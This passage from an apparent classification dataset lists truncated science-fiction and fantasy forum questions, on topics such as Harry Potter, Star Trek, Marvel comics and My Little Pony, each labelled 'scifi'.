""first"" time she steps on the ocean liner to the point where she ""leaves"". She sees a lot of duplicates, one of which she manages to shoot in ... ",['scifi'] "Title: When did Catwoman start wearing a catsuit in the comics? Body: I'm currently reading Batman and Detective Comics published in 1982. Catwoman has shown up and I was surprised to see that she was wearing her original (and highly impractical) costume from her 1940s ... ",['scifi'] "Title: What does Derpy's cutie mark mean? Body: This is Derpy: As we know, in the MLP:FiM universe, cutie marks indicate a pony's special talent or individualizing feature. Derpy's is a bunch of bubbles. What does this cutie mark mean? Or, ... ",['scifi'] "Title: What is Big Macintosh wearing? Why is his tail short? Body: Here's an image of Big Macintosh: What does he have around his neck? Also, why is his tail short? ",['scifi'] "Title: What is the link between the Portal series and Half-Life series? Body: I already know they shared the same universe through some mention of the Black Mesa organization - namely in the first Portal's Still Alive end song and the second game's Cave Johnson comment that ... ",['scifi'] "Title: Why is Brienne so excessively loyal to Renly Baratheon? Body: Brienne, the tall knight woman with short blond hair, is excessively loyal to Renly Baratheon. More specifically : What did Renly to earn such admiration from her? ",['scifi'] "Title: What has the destruction of the World Stone done to Sanctuary? Body: At the end of Diablo 2 Baal destroys the Worldstone, but I'm really hazy on the purpose of the 'World Stone'. Are there any official explanations, in a novel or statement by blizzard what the stone's ... ",['scifi'] "Title: What was Aken Bosch's actual objective? Body: In Freespace 2, Admiral Aken Bosch, leader of the rebel NTF, leads a crusade culminating in him seemingly joining with the Shivans. While the various cut-scenes make it sound like Bosch's motives were ... ",['scifi'] "Title: Was it ever revealed where the Bionts came from? Body: In Archimedean Dynasty (original title ""Schleichfahrt"") the Bionts that are encountered by the underwater humans seem to have established facilities over ground. There are some very vague hints ... ",['scifi'] "Title: Who and what are the Prime Evils? Body: While waiting for Diablo 3 to come out, I have been playing Diablo 2 for the first time with a buddy. While playing, I've heard several characters mention the Prime Evils. The game doesn't really do a ... ",['scifi'] "Title: How much of the The Cage was real? Body: The Cage focuses heavily on the power of illusion. The Talosians capture Captain Pike and then subject him to various illusionary tests to determine humanities candidacy for reseeding their planet. ... ",['scifi'] "Title: Was R2D2 inspired by Daleks? Body: I know this is a potentially silly question but thinking about how both can fly in the newer versions of their respective franchises (and this animation from the official Doctor Who tumblr), I just ... ",['scifi'] "Title: If Vulcans are telepathic, why don't they use it more for communication? Body: Vulcans are said to be natural telepaths. But they continue to communicate with each other through speech, even when telepathy would give them a tactical advantage in many situations. It is also said ... ",['scifi'] "Title: How did Data get Spot? Body: So how did Data get his cat, Spot? Did Data pick him up on Earth or something? ",['scifi'] "Title: Did Galacta ever give birth? Body: In the one shot about Galacta (Galactus' 'daughter') it is eventually revealed she is 'pregnant'. Does she ever give birth? Does she ever appear again, to resolve this story? ",['scifi'] "Title: Where did the other students escape to? Body: During the Battle of Hogwarts, the students were given the choice to leave or stay and fight. I remember reading somewhere that most of Hufflepuff stayed and fought, more so than any other house. This ... ",['scifi'] "Title: Why could Dolores Umbridge conjure a Patronus? Body: There have been quite a few questions recently regarding Patronuses, and who could summon one, and why. The general consensus seems to be that Death Eaters could not summon Patronuses, since they are ... ",['scifi'] "Title: Was Voldemort able to make a Patronus? Body: Inspired by this question I wonder if Voldemort could make a Patronus. It seems a basic spell of protection which he would have needed to have at some point with all of the dark things he sought out ... ",['scifi'] "Title: Are the Milky-Way solar systems depicted in Larry Niven's “Known Space” based on “real world” astonomy viewed from Earth? Body: Are the solar systems depicted in Larry Niven's fictional book series about ""Known Space"" based on observations from Earth? Or, once the story leaves our solar system, does his science fiction lean ... ",['scifi'] "Title: How are the mutants in TMNT different? Body: In TMNT #8 Baxter hints that he needs to get hold of Splinter, no other rats would do as he was the only proper lab experiment. It makes me think how're the mutants differ from each other (Splinter, ... ",['scifi'] "Title: Who is in the post-credits scene of the Avengers movie? Body: In the post-credits scene of the Avengers movie, we are shown a face who is presumably recognizable. Who's is it? All answers in spoiler tags please, for those who have not seen the movie. ",['scifi'] "Title: Would the Sword of Gryffindor poison you? Body: Godric Gryffindor's sword gained the power to destroy horcruxes due to the fact that it: has the power to imbibe only that which strengthens it. -Harry Potter Wiki Does this mean it also ... ",['scifi'] "Title: What did the ZFT warn about? Body: Back in Season 1, the ZFT - the Zerstörung durch Fortschritte der Technologie, or Destruction Through Technological Progress in English - was introduced. Included in it was a warning about the ... ",['scifi'] "Title: Why did Snape give the Gryffindor's Sword to Bellatrix to keep? Body: In Deathly Hallows, we find out that, after Ginny Weasley tried to steal the Sword, Severus Snape gave the sword (or rather, a copy, as we find out), to Bellatrix Lestrange to store in Gringott's ... ",['scifi'] "Title: Book about a brother and sister living in a futuristic world Body: It was 1981-1982 when I read it. My female English teacher told me to read it...not the class. Not sure when it was written? I remember it was written from the sister's perspective. There seemed ... ",['scifi'] "Title: What kind of authority does Rainbow Dash have? Body: In Hurricane Fluttershy, Rainbow Dash takes charge of the Pegasi of Ponyville to lift water for Cloudsdale. Does she have some sort of official command, or is she just taking charge of her own accord? ... ",['scifi'] "Title: Does the physical copy of Batman #5 have rotated pages? Body: I have been reading Batman #5 (from the New 52) in Comixology, and when Batman is in the labyrinth some pages are rotated to be at 90 degrees or 180 degrees from the normal vertical axis. Is this an ... ",['scifi'] "Title: What happened to Umbridge when she was carried into the forest by the centaurs? Body: When Dolores Umbridge is carried off by the centaurs in the Order of the Phoenix and returns later, the reader is left with the task of piecing together what exactly happened while she was out there. ... ",['scifi'] "Title: Did the Borg collective have an insignia? Body: In some Star Trek games and other expanded-universe material, the Borg paired with the insignia seen in TNG's ""Descent"" episodes. However, were those Borg actually part of the collective proper, or ... ",['scifi'] "Title: Do mules or hinnies exist? Body: In My Little Pony: Friendship is Magic we see numerous types of creatures: ponies (obviously), zebras, buffalo, sheep, donkeys, dragons, as well as numerous woodland and farm creatures such as ... ",['scifi'] "Title: Was Luke turning into a Sith? Body: In episodes 4-6, is Luke becoming a Sith? He starts out wanting to become an imperial pilot and is initially reluctant to get involved with the rebellion. In his training with Obi Wan and later Yoda ... ",['scifi'] "Title: What happened to the rocket that brought Superman to Earth? Body: What happened to the spacecraft that brought Superman to Earth after the Kents rescued him? Would it have been indestructable? Where did it end up? ",['scifi'] "Title: How Old Was Aragog When He Died? Body: Just as the title says: How old was Aragog when he died? Do we know if he died of old age or injury/illness? ",['scifi'] "Title: How Did Dobby Intercept Harry's Mail? Body: How did Dobby the house-elf intercept Harry's mail during Harry's summer holiday between Philosopher's Stone and Chamber of Secrets? ‘See what it’s like here?’ [Harry] said. ‘See why I’ve got to ... ",['scifi'] "Title: Are benders allowed to use subsets of their element's abilities in Pro-Bending? Body: Could the water benders use ice/snow in the tournaments? Could they use bloodbending to just push the players off the field? Could Earthbenders use Metalbending during competition? Like the metal of ... ",['scifi'] "Title: Can Expelliarmus Be Used For Weapons Other Than Wands? Body: Expelliarmus is typically used to disarm an opponent of his/her wand. Could it be used to disarm someone of another type of weapon, such as a Basilisk fang, a phial of a dangerous potion, a Venomous ... ",['scifi'] "Title: What is the subset of Airbending? Body: Earth has Metalbending. Water has Bloodbending/Healing. Fire has Lightning/Electricitybending. What is the subset of Airbending, if there is one? ",['scifi'] "Title: Why would you call yourself “the Sinister Iceman”? Body: In Uncanny X-Force the X-Force travel to the Age of Apocalypse, an alternate universe where some of the good guys are evil and vice versa. One of those who are on the evil side of things is Iceman. ... ",['scifi'] "Title: Do Wizards get to choose which animal their Patronus will be? Body: Do Wizards get to choose which animal their Patronus will be? If they don't get to choose, what determines their Patronus animal? EDIT - I didn't recall that there were any duplicate animals among the ... ",['scifi'] "Title: Life, Death, Undead, Dead Undead, oh my! Body: In the Warcraft universe, the living can be infected with a plague that turns them into undead. The undead can be killed. My understanding of the state of undeath is that one is dead, yet some how ... ",['scifi'] "Title: Why Could Young Tom Riddle Do Wandless Magic? Body: Why could young Tom Riddle do wandless magic? Dumbledore recounts the following memory to Harry via the Pensieve in Half-Blood Prince: ‘It’s ... it’s magic, what I can do?’ ‘What is it that you ... ",['scifi'] "Title: What does the Hulk's clap do? Body: When the Hulk claps it appears to generate enough force to send people flying. How does this work - is it wind due to the air being pushed out from between his hands, a sonic boom from the sound of ... ",['scifi'] "Title: Is there a difference in the Red Hulk's and Green Hulk's powers? Body: I get that the two Hulks are different characters, but is there a difference in the Red Hulk's and Green Hulk's powers? ",['scifi'] "Title: Why was the T800's arm in T2 overlooked? Body: This has always bugged me. In Terminator 2, it is made clear that the terminator that came in the first movie resulted in a changed history, with Skynet being developed at a faster rate by Cyberdyne ... ",['scifi'] "Title: Are there any SciFi/Fantasy novels with a Whale Civilization at the core? [closed] Body: I was reading something with my kids about how humpback whales could probably communicate across an entire ocean before human noise pollution was introduced. This plus the theorized intelligence of ... ",['scifi'] "Title: How does Stark Enterprises maintain its cashflow? Body: In the 2008 Iron Man movie, when Tony Stark returns from captivity he holds a press conference during which he states that Stark Enterprises will no longer be a weapons manufacturer. Initially this ... ",['scifi'] "Title: Inheriting bending abilities between different bender-types? [duplicate] Body: Possible Duplicate: What determines a bender's element? Aang and Katara had 3 children some airbenders, some waterbender and some not, so is there a pattern that can be used to predict ... ",['scifi'] "Title: How many airbenders are there? Body: How many airbenders are there in Korra's time? If Aang was the last airbender, is it only his offspring—Tenzen and his three children—that have mastery of the element? Many similarly ... ",['scifi'] "Title: Can a single player who's been knocked back recover ground? Body: In Pro-bending, if one team knocks all opposing players out of the neighboring zone, they can advance. What happens if one of the players on the pressing team is behind the others? e.g. One ... ",['scifi'] "Title: Who is still alive from the original series? Body: We know for certain that Katara is still around from the original series, since she shows up in the first episode. We also know that Aang is dead, since Korra would have been born at the moment of his ... ",['scifi'] "Title: How should I overlap the viewing of Doctor Who and Torchwood? Body: Torchwood is a spin off of Doctor Who. I read somewhere there is some relation between some episode of both series. How should I coordinate the viewing of both series? ",['scifi'] "Title: Sequel to Robert Reed's The Well of Stars? Body: I loved reading Marrow and The Well of Stars and always felt like it was a trilogy. Is there a sequel? Is one planned? ",['scifi'] "Title: Why did the Hunter x Hunter manga quality randomly deteriorate? Body: In the manga Hunter x Hunter, the manga is amazing up until around chapter 184, where the drawings start noticeably deteriorating to the point of scribbles. This is fixed a little later, but every ... ",['scifi'] "Title: Is the fictional etymology of Uruk-Hai a reference to the Uriankhai? Body: By the early 17th century the term Uriankhai was a general Mongolian term for all the dispersed bands to the north-west, whether Samoyed, Turkic, or Mongolian in origin. I was wondering if there ... ",['scifi'] "Title: What happened to the other designs of Captain America's shield? Body: In the past Cap. America has had both round shields and a shield that looks similar to the American shield. What ever happened to that second shield design? If that shield was destroyed how, assuming ... ",['scifi'] "Title: Was Rory “restored” after The Big Bang? [duplicate] Body: Possible Duplicate: Is Rory still plastic (and follow up questions)? Regarding the Season 5 finale of Doctor Who; In the first part, Later, in the second part, However, from being ... ",['scifi'] "Title: Story describing four worlds where “nobody could die unless…” Body: I'm looking to identify an SF-nal short story I once read; it was just a few pages long, divided into four segments. Each segment described a world where ""nobody could die unless..."" some particular ... ",['scifi'] "Title: Why did Wonka wait till the end to scold Charlie? Body: In Willy Wonka and the Chocolate Factory (the 1971 musical), Wonka systematically removed the children from the competition as they each did something horrible that reflected their personalities. ... ",['scifi'] "Title: Does accidental homicide cause one's soul to split? Body: Killing is said to fracture one's soul and Voldemort uses this to create horcruxes. I always assumed that it was because of the evil intention and the act of killing someone was what caused the soul ... ",['scifi'] "Title: When should I watch the first X-Files movie [closed] Body: About two weeks ago, I had never seen an episode of the X-Files. I am watching them back to back and am about half way through season 2. Some guys at work have told me I need to watch the movie at ... ",['scifi'] "Title: Why didn't bomb blast near portal terminus destroy space-time fracture? Body: After making portal go both ways, when Lucas was near portal terminus & Taylor threatened him to shoot, he showed with fingers that portal was open & said that Sonics would destroy space-time ... ",['scifi'] "Title: What does Loki say at the end of Season 2, Episode 4? Body: In The Almighty Johnsons, what did Loki say to Ty at the end of Season 2, Episode 4, as they stood in front of Eva/Hel's pyre? I haven't been able to make it out, and given Loki's threats suspect it ... ",['scifi'] "Title: Why are there so many Avengers? Body: Looking at the collection of Avengers in The New Avengers #24, there were an amazing number of them. Why do they have so many Avengers? Do they have a particularly forgiving entry criteria? ",['scifi'] "Title: Is there choreography to the Dance of Joy? Body: During Angel and crew's visit to Pylea, Lorn's mother instructs Numfar to do the Dance of Joy. Has there ever been an official or at least widely accepted full choreography for this dance? ",['scifi'] "Title: Why didn't Dumbledore insist on questioning Sirius Black under Veritaserum? Body: I can buy why Ministry officials were all too eager to buy into Sirius' guilt and stick him into Azkaban. But were Lupin and Dumbledore so quick? If I were them, I'd have first thing insisted on ... ",['scifi'] "Title: Did Dumbledore plan to get himself killed by Snape if he did NOT accidentally put on the Horcrux? Body: As it turned out, Dumbledore was - with clear conscience - planning to let Snape kill him instead of Draco Malfoy, so that Draco wouldn't get killed by Voldemort Draco wouldn't rip his soul in two ... ",['scifi'] "Title: Batman New 52 titles continuity Body: I am a Marvel fan, but since I learned about the new 52 reboot of DC I thought of starting a DC title. I like Batman the most, but I saw there are 4 titles about him (Batman, Batman the Dark Knight, ... ",['scifi'] "Title: Is there an explanation for Amy Pond's selective remembering of people? Body: This question basically spoilers the main Season 5 story-arc. To the question: In the fifth Season of Doctor Who, we learn In the episode Flesh and Stone (05,05) The Doctor says However, ... ",['scifi'] "Title: Are the Nazgûl Blind? Body: They were once Men. Great kings of Men. Then Sauron the Deceiver gave to them Nine Rings of Power. Blinded by their greed, they took them without question. One by one, falling into darkness. They ... ",['scifi'] "Title: Why didn't Spiderman wear armour all the time? Body: Spider-man has an new suit of armour that he's had ready for a long time, and he finally gets to show it off in The Amazing Spider-man #683. Sometime before or after those events he's in AvX #1. ... ",['scifi'] "Title: Has Spidey ever made a quip that cost someone a life? Body: In the new Avengers Vs X-Men #1 comic, Spider-Man creates a prodigious amount of webbing to save people falling from the sky. He makes a quip, as he is want to do: Aaaand you're welcome. ... ",['scifi'] "Title: Is the Whorl also the Universal Transport in the Solar Cycle by Gene Wolfe? Body: In the Solar Cycle, by Gene Wolfe, is it possible that the Worldship, the Whorl, used as locale of The Book of the Long Sun is also the universe hopping ship that Severian uses as a transport to ... ",['scifi'] "Title: Did the author ever explain origin of the disasters in The Day of Triffids? Body: The post-apocalyptic book The Day of the Triffids features not one but (at least) three seemingly separate disasters: triffids themselves, obviously blinding lights in the sky plague I somehow ... ",['scifi'] "Title: Magic is based on words of power, which series? Body: I read a book of this series probably around 2000. I think the series was quite new then but not sure. The main thing I remember about it is that magic is based on words of power. If you knew one ... ",['scifi'] "Title: How is The Wall bypassed? Body: In the first series of the TV show several things apparently bypass The Wall to reach Winterfell: The Night's Watch member Will captured near Winterfell and executed by Ned. The Direwolf & her ... ",['scifi'] "Title: Why did Slughorn freeze up? Body: In The Half Blood Prince, Professor Slughorn froze up when If Slughorn is as good as people say he is and ""always keeps a cure for Veritaserum"" on his person, why would he then freeze up as if to ... ",['scifi'] "Title: Why was there only one Sorcerer's Stone? Body: In Harry Potter and the Sorcerer's/Philosopher's Stone, Hermione reads from a book that states ""Nicholas Flamel is the only known creator of the Sorcerer's Stone."" Why did only Flamel make one? Why ... ",['scifi'] "Title: How different is the UK version of Harry Potter from the US version? Body: I know that major plot points are in both novels but I also know that there were changes made to the US version before being published. What were these changes? An English/Irish/Scottish import ... ",['scifi'] "Title: Why didn't Dumbledore's use Fawkes's tears to heal his hand? Body: After Dumbledore had put on a Horcrux that was also a Hallow, why didn't he use Fawkes's tears to heal his hand? ",['scifi'] "Title: Are there magical-animal zoos in the wizarding world in Harry Potter? Body: The question Did Voldemort seek out Phoenix tears? got me to wondering if there are magical-animal zoos (in England or Europe) where wizards can view creatures they might not otherwise have access to ... ",['scifi'] "Title: Why Did Grima Wormtongue Cry at Orthanc? Body: In Peter Jackson's The Lord of the Rings: The Two Towers, after Théoden exiles him, Grima Wormtongue takes refuge with Saruman. Saruman is shown creating a large explosive device, and then Saruman and ... ",['scifi'] "Title: How far will a Golden Snitch travel during a match? Body: In the third Harry Potter movie (The Prisoner of Azkaban) the Snitch flies extremely high. It flies so high that the Quidditch arena falls out of view. Just how far will a Snitch travel? Will it ... ",['scifi'] "Title: Who designed the X-Jets, and where were they built? Body: The X-Men's first Blackbird X-Jet was a modified, scaled-up version of the Lockheed SR-71 ""Blackbird"" spy plane, so it couldn't be a refurbished ""war surplus"" aircraft. It had to be specificaly ... ",['scifi'] "Title: How was Thor able to dent Captain America's Shield? Body: I was reading about Adamantium on the marvel.wikia Proto-Adamantium This is the original Adamantium created by Dr. MacLain. Proto-Adamantium is the official name for the metal that makes up ... ",['scifi'] "Title: T2: Could the Terminator have eventually gotten mad or even turned against John Connor? Body: We see an evolution of the Terminator throughout this movie. He develops from a machine programmed to protect John to something more humanized. Although still a cyborg; he is able to adapt to his ... ",['scifi'] "Title: What was this short story? Terrorists use images to kill people - set in a school Body: I'm looking for a short story I read recently, probably in a sci-fi anthology. It is about a group of schoolchildren who form a secret club in a disused classroom, and membership in this club is ... ",['scifi'] "Title: How did Garth manage to avoid the Grandfather Paradox? Body: In Cyborg 2087, Garth travels back in time and ends up preventing his own existence, a prime example of the Grandfather Paradox in action. If that's the case, how was he able to even go back in time ... ",['scifi'] "Title: Why doesn't the Guild control CHOAM? Body: Given that the Guild controls all interstellar travel, why don't they entirely control CHOAM? It's pretty clear that CHOAM is basis of the wealth of the galactic nobility (beyond what is available to ... ",['scifi'] "Title: Can somebody be an X-Men because of having incredible willpower like Batman? Body: Batman has incredible willpower; he is shown to have done a lot of things normal human beings cannot do/do not do. Can he be considered as an X-Man? Or does he fit in the category of people who can be ... ",['scifi'] "Title: Has anyone else written about Terry Pratchett's other worlds? Body: Prior to writing about the Discworld, Terry Pratchett wrote about the worlds of Strata, and Carpet People and later the Bromeliad Trilogy (Truckers, Diggers, Wings). These settings have not seen as ... ",['scifi'] "Title: What book is about solo exploration and a return to earth after centuries have passed Body: Can anyone help? I am trying to find a book I read twenty plus years ago. The story was about a man who stowed away on an automatic exploration star ship that was crewed by robots. Due to the time ... ",['scifi'] "Title: Human Bites Zombie: What Happens? Body: I don't know much about zombies and haven't had much interest in them. I do know that, as with any creature, there are many different versions of what does and does not work. But I'm wondering about ... ",['scifi'] "Title: Is there a site that ranks comic runs by popularity, critical votes, etc? Body: When I am looking for new anime series to try, I often use Anime News Network to pick by popularity or quality of votes. Because I haven't watched a whole lot of anime, it's useful to pick out series ... ",['scifi'] "Title: Are Pixie's magic powers part of her mutation? Body: The mutant (Megan Gwynn) learnt a teleportation spell from Magik, another mutant. Is her ability to learn/perform magic part of her mutation or something 'extra' and not related to the X-gene? ",['scifi'] "Title: Do the mutant victims of M-Day still have their X-gene? Body: A comment on one of my answers mentioned that: Even if they lost their powers they still possess the mutant X-gene. I would say they are still technically mutants This refers to (at least in ... ",['scifi'] "Title: When is the Grand Galloping Gala? Body: In My Little Pony: Firendship is magic, one of the events in the year is the Grand Galloping Gala. In another question someone mentioned that the GGG occured between 'Christmas' and 'Valentines'. Is ... ",['scifi'] "Title: Titans in Immortals and Disney Hercules Body: Just watched the Immortals, and the titans are portrayed as simpleton creatures, more like ""zombies"" which kill, yet in Hercules (the Walt Disney) production the titans are earth, wind, fire and ice, ... ",['scifi'] "Title: Identify children's sci-fi/fantasy with black blobs and why cats stare at walls [duplicate] Body: Possible Duplicate: Children's sci-fi/fantasy with black blobs and why cats stare at walls I am trying to find the name and author of a children's fantasy/sf book. The plot involves ... ",['scifi'] "Title: Would a working nootropic drug (Limitless - NZT-48) exist by any chance? [closed] Body: I like the way NZT-48 works for Brad Cooper in the movie Limitless. How exactly does it modify the brain to be in perfect functional state? And, are there any exercises or food that would make our ... ",['scifi'] "Title: How old is Thor? Body: I browsing Thor's marvel wiki article and found this passage : Sometime in the 9th Century AD, Thor travelled to Earth to promote his worship among the Vikings. We already know that he his ... ",['scifi'] "Title: What is the meaning of Bran Stark's dreams with a three-eyed crow? Body: After is come, Bran Stark repeatedly made dreams that include a three-eyed crow : What is the meaning of those dreams? Does the three-eyed crow has an universal symbolism that I don't know about? ",['scifi'] "Title: Ghosts of the dead Body: The image of 'ghosts of the dead' comes from a book that I thought was Green Mars by Kim Stanley Robinson but wasn't. It was a story about a utopian community that was under attack from a military ... ",['scifi'] "Title: How Is It Possible for Breeding Dementors To Affect the Weather? Body: How is it that Dementors are able to affect the weather when they're breeding? In Half-Blood Prince, Fudge tells the Muggle Prime Minister the strange weather the UK is experiencing is due to the ... ",['scifi'] "Title: Lovecraft story where the guy gathers his friends around the hearth and tells them a story Body: ... about a guy who delved so deep into the study of occult powers that, when performing some mystical/magickal ceremony, he transported himself across unmeasurable spans of space and time and ... ",['scifi'] "Title: How did Luke become the leader in the group that destroyed the first Death Star? Body: Other than Biggs telling the commanding officer that Luke the ""best bush pilot in the outer rim"", what other qualifications did he have to lead the fighter group that took out the Death Star? Both ... ",['scifi'] "Title: Why would in-galaxy dialing need to account for stellar drift? Body: Samantha Carter explains in the pilot that because of the expansion of the universe, stars are moving away from each other and a correction needs to be made to the dialing protocol to account for ... ",['scifi'] "Title: What is included for canon for the new Batman Beyond Unlimited comics? Body: For possible canon sources we have: The original TV series The original comic series The Return of the Joker (DVD) In the original TV series Batman (Terry) travels to the Fortress of Solitude in ... ",['scifi'] "Title: Why Doesn't Potterverse Use the Metric System? Body: I noticed that Potterverse uses the imperial system of measurement: 10 inches of parchment for a Transfiguration essay; Harry fell 50 feet from his broom; the dragon flew for miles it seemed; ... ",['scifi'] "Title: Does Wolverine's regenerative powers prevent him from successfully shaving? Body: Can Wolverine successfully shave, or does his facial hair regenerate too fast for him to even bother? ",['scifi'] "Title: What is significance of silver smoking apparatus during Order of the Phoenix? Body: In Order of the Phoenix, Dumbledore uses a small silver instrument that puffs pale green smoke and shows him a snake, to which he then says, ""Naturally, naturally, but in essence divided?"" It then ... ",['scifi'] "Title: Are there still Replicators in the Asgard's home galaxy? Body: At the end of the Stargate SG-1 episode Reckoning the Replicators invading the Milky Way galaxy are rendered inert by the super-weapon on Dakara. But did this defeat of the Replicators include all of ... ",['scifi'] "Title: What book had a blind prisoner escape using a device that allowed him to see what animals saw? Body: I'm trying to remember a book I read in the mid to late 90's (but which I think was written in the 60's or 70's) in which the hero was a spy that got captured by his rivals, blinded and put in a ... ",['scifi'] "Title: Religion in the Marvel universe? Body: With Thor referred to as a god in the Marvel universe, do modern day religions get any references in the Marvel universe, e.g. Christianity, Islam, Buddhism, etc? ",['scifi'] "Title: Is Jon going to muss Arya's hair already? [closed] Body: One thing which is by heavily emphasized in most of the books in the series is how much Jon likes to muss his sister's hair. It is constantly being recalled from both his and Arya's perspective. ... ",['scifi'] "Title: Why are the Secret Avengers secret? Body: With other secret teams, there is a fairly clear reason for them to be secret. For example, the members of the Dark Avengers were not good dudes. The members of X-Force do things that apparently other ... ",['scifi'] "Title: Did any of the Lannisters ever take the black? Body: I read the first book in the series and started with the second. So far, I noticed that, although northerner noblemen are much more willing to join the Night's Watch, there was a healthy number of ... ",['scifi'] "Title: When did Iceman's power expand? Body: In Wolverine and the X-men #3(i think) Iceman uses his powers to create a large group of ice monsters to help in the fight against Krakoa. Is this the first time he used this ability or has he done ... ",['scifi'] "Title: Why are angels opposed to Sam using his powers? Body: In Supernatural season 4 episodes, why are angels opposed to Sam using his powers to remove demons from human bodies so they can be sent back to hell? ",['scifi'] "Title: Who taught children to write on the wall Body: In supernatural season 4 episode ""Family remains"" those two small children are dumped in the walls, they never saw light. they always live in the walls. When the family of 5 people comes to live in ... ",['scifi'] "Title: Do replicators ultimately lead to a money free state? Body: In all the two settings I've seen with some form or matter-matter or energy-matter converters (replicators) they both have either no money system (federation in star trek) or some other form of ... ",['scifi'] "Title: One person election gets to vote for the president, by Isaac Asimov Body: I read a short story, by Isaac Asimov, I believe, in which the presidential election process is so far calculated that it only takes one person to vote. I would LOVE to know the name of this short ... ",['scifi'] "Title: What happens to the worlds that don't want to join the United Federation of Planets? Body: What happens to the worlds that are within Federation Space that decline to join the UFP? How are they treated? ",['scifi'] "Title: Who created the first Transformer? Body: Son: Dad, where do Transformers come from? Me: The planet of Cybertron. Son: Who made the Transformers? Me: Transformers make each other. Remember how Wheeljack and Ratchet made the Dinobots? Son: But ... ",['scifi'] "Title: What ever happened to Falcon? Body: In Avengers X-sanction Cable goes back on his last day to try and kill the Avengers. In the first issue did he actually kill Falcon? ",['scifi'] "Title: Why are Wolverine and Kitty Pryde headmaster and headmistress? Body: I've just started reading the Wolverine and X-Men series without reading all the backstory and was wondering how on earth it was these two that ended up heading the new school, especially Wolverine? ... ",['scifi'] "Title: Did Nightcrawler ever get to be a priest? Body: Nightcrawler for a long time, thought he had managed to be come an ordained priest but for some reason this was retconned as an illusion and all his hard work was undone. Did he eventually become a ... ",['scifi'] "Title: Why do members of the Night's Watch need to vow to “father no children”? Body: From their Vows : Night gathers, and now my watch begins. It shall not end until my death. I shall take no wife, hold no lands, father no children. I shall wear no crowns and win no glory. I shall ... ",['scifi'] "Title: Is Wolverine an alcoholic? Body: Wolverine's love of beer is fairly well known. According to Wikipedia, he can even suffer the effects of intoxication if he binges. However, does he have an actual alcohol dependence? Considering ... ",['scifi'] "Title: Is Thor the only Avenger that can't die? Body: Thor is supposed to be a god, so he should be immortal. Does this mean that there will come a time when he is the last remaining Avenger? ",['scifi'] "Title: Why do some Uruk-hai speak while others just growl and roar? Body: In Peter Jackson's movies there seem to be different kinds of Orcs and I get that. It's the Uruk-hai I'm a little unclear on. In Fellowship of the Ring and The Two Towers, the Uruk-hai who are taking ... ",['scifi'] "Title: How many on-going Batman comics are there, and how are they interlinked? Body: I'm dipping my toes into the world of on-going Marvel and DC Comics for the first time and was wondering how many on-going Batman comics are there? I gather there's Detective Comics and Batman and ... ",['scifi'] "Title: Fantasy story about neanderthals having moon magic Body: I'm trying to remember the title of a fantasy novel I read about 15-20 years ago that featured both neanderthals and homo sapiens. The neanderthals had a magical connection to the land and some form ... ",['scifi'] "Title: Did Illyrio Mopatis know what he was doing when he offered dragon eggs to Daenerys as a wedding gift? Body: At her wedding, Daenerys received a chest containing three dragon eggs. These were given to her by Magister Illyrio Mopatis, the man who helped arrange the marriage. Was it part of a plan? As... ",['scifi'] "Title: Do the Federation need to worry about the Treaty of Algernon? Body: It seems from a cursory reading of the page on cloaking devices, the Federation has repeatedly trodden on the treaty's legislation banning cloaking devices. And yet to my knowledge there has been ... ",['scifi'] "Title: Do ships at warp experience time dilation? Body: From the Gene Roddenberry quote in this answer: 'In answering these questions, I came up with the statement that ""this time system adjusts for shifts in relative time which occur due to the ... ",['scifi'] "Title: Why doesn't Admiral Cain carry out her secret plan? Body: This question is one big spoiler for Battlestar Galactica Season 2 episodes ""Resurrection Ship Part I"" and ""Resurrection Ship Part II"". In Part I of ""Resurrection Ship"", Admiral Cain and ... ",['scifi'] "Title: Why Sign the Treaty of Algeron? Body: From Memory-Beta: Under the Treaty of Algeron, the Federation was banned from using cloaking technology without the explicit permission of the Romulans. What caused the signing of the treaty? I ... ",['scifi'] "Title: Did HP Lovecraft ever publish a novel? Body: From what I've read HPL exclusively published (or at least submitted) his works to periodicals and magazines. Were any of his works primarily published, primarily as a book? ",['scifi'] "Title: Does the Kindly Man know Arya's secret? Body: WARNING: SPOILERS AHEAD, PARTICULARLY FOR ANYONE WHO HAS ONLY WATCHED THE SHOW! In A Dance With Dragons, Arya's training takes a new turn when she discovers that However, she deliberately does not ... ",['scifi'] "Title: Who are the X-men? Body: Recently (as recently as the Schism storyline) the X-men split into two factions. Wolverine's X-Men (at the Jean Grey School) and Cyclop's X-men on Utopia. Are one of these 'officially' the true ... ",['scifi'] "Title: What titles are involved with Avengers Vs X-men? Body: The Wikipedia page on the Avengers Vs X-men it lists: Titles involved [with Avengers Vs X-men] This literature-related list is incomplete; you can help by expanding it. Prologue Marvel Point One ... ",['scifi'] "Title: What kind of a building is at the Over There Fringe HQ? Body: During the transition effect which shows us that the story line switched to another Universe, it is very easy to spot a big difference between the Fringe HQ here and there. Specifically, there is a ... ",['scifi'] "Title: Why is Wolverine drawn on Avengers side in AvX Program Guide? Body: In Avengers vs. X-Men Program Guide (free at ComiXology), why is the Wolverine depicted fighting in the Avengers side of the brawl instead of X-Men? ",['scifi'] "Title: Do the walkers need to sleep? Body: In the Walking Dead series, sometimes zombies seem to be shut down and oblivious to the humans around them. Do the walkers need to sleep? ",['scifi'] "Title: Are the 'Weapons Plus' program and 'Weapon X' program related? Body: I've found a comprehensive marvel movie timeline and it mentions that the super soldier serum was developed as part of the 'Weapons Plus' program. Is this in anyway related to the Weapon X program ... ",['scifi'] "Title: Why didn't the elves take the Ring after the Council of Elrond? Body: The elves of Lorien certainly had military strength to fight at Mordor and also would not have been corrupted by the Ring as men would. Wouldn't the destruction of the Ring have gone more smoothly if ... ",['scifi'] "Title: Why did the Games Master and sponsors listen to Haymitch? Body: I understand that he was honored as an earlier champion, but Haymitch was still from an outlying district and was noticeably disorganized and drunk as well. I'm confused about how he was so well-liked ... ",['scifi'] "Title: Why do Vulcans have pointed ears? Body: We see Vulcans have pointy ears. Why did the writers choose to make them have unique ears and not eyes or noses? ",['scifi'] "Title: What Element of the One Ring Could the Nazgûl Smell? Body: In The Fellowship of the Ring Frodo's first experience with the Nazgûl is described. When [the Nazgûl] reached the tree and was level with Frodo the horse stopped. The riding figure sat quite ... ",['scifi'] "Title: Why is willpower part of the Emotional Spectrum? Body: Willpower as defined by wiktionary is The unwavering strength of will to carry out one’s wishes This isn't really an emotion that a person feels. It's more of a mindset that someone has. As ... ",['scifi'] "Title: Was Obi-wan ever taught by Yoda? Body: I found a quote whilst researching my previous question about Force Ghosts, about how Obi-Wan was trained by Yoda: Yoda: [Looking away from Luke] I cannot teach him. The boy has no patience. ... ",['scifi'] "Title: Is Beast a Secret Avenger or is he a Vice Principal? Body: The upcoming 